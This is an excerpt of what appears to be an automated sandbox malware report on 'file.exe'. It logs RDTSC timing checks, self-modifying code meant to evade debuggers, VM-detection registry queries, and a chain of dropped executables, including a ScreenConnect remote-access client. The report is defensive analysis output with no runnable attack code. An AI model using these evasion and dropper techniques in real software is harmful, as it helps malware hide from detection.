Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310D1D second address: 5310D32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 mov esi, 0A5EBDD7h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310D32 second address: 5310D36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310D36 second address: 5310D3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310D3C second address: 5310D42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310D42 second address: 5310D46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310D46 second address: 5310D63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC708C21992h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310D63 second address: 5310DA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACE9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FC708CACEA6h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FC708CACEA7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310DA4 second address: 5310DAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310AB3 second address: 5310AF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACEA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FC708CACE9Eh 0x0000000f push eax 0x00000010 jmp 00007FC708CACE9Bh 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 mov eax, 54E4E6DBh 0x0000001c mov ebx, eax 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310AF5 second address: 5310AFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310AFB second address: 5310B50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, di 0x00000006 pushfd 0x00000007 jmp 00007FC708CACEA9h 0x0000000c sub cl, FFFFFFC6h 0x0000000f jmp 00007FC708CACEA1h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FC708CACEA8h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310B50 second address: 5310B5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C2198Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390792 second address: 53907B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC708CACEA1h 0x00000008 mov di, ax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53907B2 second address: 53907E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FC708C21995h 0x0000000a sub cl, FFFFFFA6h 0x0000000d jmp 00007FC708C21991h 0x00000012 popfd 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53907E2 second address: 53907E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53808B7 second address: 53808BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53808BD second address: 53808EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACE9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC708CACEA5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53808EA second address: 538090E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C21991h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC708C2198Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538090E second address: 5380966 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACE9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FC708CACEA6h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 mov eax, 23A73FFDh 0x00000017 push eax 0x00000018 push edx 0x00000019 pushfd 0x0000001a jmp 00007FC708CACEA8h 0x0000001f or cl, 00000008h 0x00000022 jmp 00007FC708CACE9Bh 0x00000027 popfd 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380743 second address: 53807A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C21991h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FC708C2198Eh 0x0000000f push eax 0x00000010 jmp 00007FC708C2198Bh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007FC708C21996h 0x0000001b mov ebp, esp 0x0000001d jmp 00007FC708C21990h 0x00000022 pop ebp 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 pop edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53807A2 second address: 53807A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532014A second address: 5320150 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320150 second address: 5320154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320154 second address: 532016F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FC708C2198Ah 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532016F second address: 5320175 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320175 second address: 5320184 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC708C2198Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380B46 second address: 5380B80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, BFh 0x00000005 pushfd 0x00000006 jmp 00007FC708CACE9Ah 0x0000000b and ah, FFFFFFE8h 0x0000000e jmp 00007FC708CACE9Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FC708CACEA5h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380B80 second address: 5380BE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C21991h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FC708C21997h 0x00000010 movzx ecx, di 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 jmp 00007FC708C2198Bh 0x0000001a mov ebp, esp 0x0000001c jmp 00007FC708C21996h 0x00000021 push dword ptr [ebp+0Ch] 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FC708C2198Ah 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380BE7 second address: 5380BEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380BEB second address: 5380BF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380BF1 second address: 5380BF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380BF7 second address: 5380BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380BFB second address: 5380C4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACEA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+08h] 0x0000000e jmp 00007FC708CACEA0h 0x00000013 call 00007FC708CACE99h 0x00000018 jmp 00007FC708CACEA0h 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380C4B second address: 5380C53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx ecx, dx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380C53 second address: 5380C75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACEA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push esi 0x00000011 pop edx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380C75 second address: 5380C7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380C7B second address: 5380C7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380C7F second address: 5380CA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C2198Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FC708C2198Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380CA5 second address: 5380CAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380CAB second address: 5380CAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53304C0 second address: 53304C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53304C6 second address: 53304F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C21993h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FC708C21990h 0x00000015 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BAEB71 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BAEC5E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BAC3D2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D7AC84 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DDF5AC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 80EB71 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 80EC5E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 80C3D2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 9DAC84 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A3F5AC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Special instruction interceptor: First address: 4D7AE6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Special instruction interceptor: First address: 4D79DA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Special instruction interceptor: First address: 6A3978 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Special instruction interceptor: First address: 70D48B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Special instruction interceptor: First address: 17ABAA0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Special instruction interceptor: First address: 1833D7C instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Memory allocated: 2760000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Memory allocated: 2970000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Memory allocated: 27C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Memory allocated: 10F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Memory allocated: 2AD0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Memory allocated: 4AD0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Memory allocated: 5180000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Memory allocated: 6180000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Memory allocated: 62B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Memory allocated: 72B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Memory allocated: B440000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Memory allocated: C440000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Memory allocated: C8D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Memory allocated: D8D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Memory allocated: EAD0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Memory allocated: FAD0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Memory allocated: 10AD0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Memory allocated: 27A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Memory allocated: 2990000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Memory allocated: 27D0000 memory reserve \| memory write watch
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Memory allocated: 19A3E290000 memory reserve \| memory write watch
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Memory allocated: 19A57C00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Memory allocated: 1370000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Memory allocated: 2CB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Memory allocated: 4CB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Memory allocated: 6630000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Memory allocated: 5DA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Memory allocated: 7630000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Memory allocated: 8630000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Memory allocated: 7630000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Memory allocated: 88D0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Memory allocated: F20000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Memory allocated: 14B0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Memory allocated: 34B0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe	Memory allocated: 1050000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe	Memory allocated: 1AB70000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe	Memory allocated: 1100000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe	Memory allocated: 1ACB0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05380C35 rdtsc

0_2_05380C35

Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Thread delayed: delay time: 922337203685477
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Thread delayed: delay time: 922337203685477
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Thread delayed: delay time: 922337203685477
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1111	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1119	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1500	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1121	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1494	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Window / User API: threadDelayed 4727	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Window / User API: threadDelayed 5102	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5899	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3874	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7711	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1978	Jump to behavior
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Window / User API: threadDelayed 847

Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIA9E9.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\ScreenConnect.InstallerActions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIA043.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017684001\91f4c82194.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Client.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017686001\f5272cef3f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsAuthenticationPackage.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017684001\91f4c82194.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017685001\192facf4de.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\Microsoft.Deployment.WindowsInstaller.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\Microsoft.Deployment.Compression.Cab.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIAD07.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsCredentialProvider.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\Microsoft.Deployment.Compression.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\ScreenConnect.Windows.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5352	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3552	Thread sleep count: 1111 > 30	Jump to behavior
